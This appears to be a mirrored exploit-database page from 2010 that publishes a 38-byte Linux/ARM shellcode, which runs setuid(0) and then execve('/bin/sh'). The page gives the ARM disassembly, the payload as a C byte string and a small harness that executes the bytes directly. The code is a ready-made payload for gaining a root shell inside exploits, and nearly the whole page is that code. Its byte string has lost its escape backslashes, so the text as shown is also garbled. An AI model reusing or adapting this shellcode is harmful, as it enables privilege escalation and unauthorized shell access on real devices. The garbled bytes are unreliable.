Home / os / win7

linux/ARM - setuid(0) & execve("/bin/sh","

Posted on 29 June 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>linux/ARM - setuid(0) &amp; execve(&quot;/bin/sh&quot;,&quot;/bin/sh&quot;,0) - 38 bytes</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================================================
linux/ARM - setuid(0) &amp; execve(&quot;/bin/sh&quot;,&quot;/bin/sh&quot;,0) - 38 bytes
================================================================


/*
Title:  Linux/ARM - setuid(0) &amp; execve(&quot;/bin/sh&quot;,&quot;/bin/sh&quot;,0) - 38 bytes
Date:   2010-06-29
Tested: ARM926EJ-S rev 5 (v5l)
 
Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/shell_storm
 
! Dtabase of shellcodes http://www.shell-storm.org/shellcode/
 
 
    8054:   e28f3001    add r3, pc, #1  ; 0x1
    8058:   e12fff13    bx  r3
    805c:   1b24        subs    r4, r4, r4
    805e:   1c20        adds    r0, r4, #0
    8060:   2717        movs    r7, #23
    8062:   df01        svc 1
    8064:   4678        mov r0, pc
    8066:   300a        adds    r0, #10
    8068:   9001        str r0, [sp, #4]
    806a:   a901        add r1, sp, #4
    806c:   1a92        subs    r2, r2, r2
    806e:   270b        movs    r7, #11
    8070:   df01        svc 1
    8072:   2f2f        cmp r7, #47
    8074:   6962        ldr r2, [r4, #20]
    8076:   2f6e        cmp r7, #110
    8078:   6873        ldr r3, [r6, #4]
*/
 
#include &lt;stdio.h&gt;
 
char *SC = &quot;x01x30x8fxe2&quot;
           &quot;x13xffx2fxe1&quot;
           &quot;x24x1bx20x1c&quot;
           &quot;x17x27x01xdf&quot;
           &quot;x78x46x0ax30&quot;
           &quot;x01x90x01xa9&quot;
           &quot;x92x1ax0bx27&quot;
           &quot;x01xdfx2fx2f&quot;
           &quot;x62x69x6ex2f&quot;
           &quot;x73x68&quot;;
 
 
int main(void)
{
        fprintf(stdout,&quot;Length: %d
&quot;,strlen(SC));
        (*(void(*)()) SC)();
return 0;
}


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-06-29]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :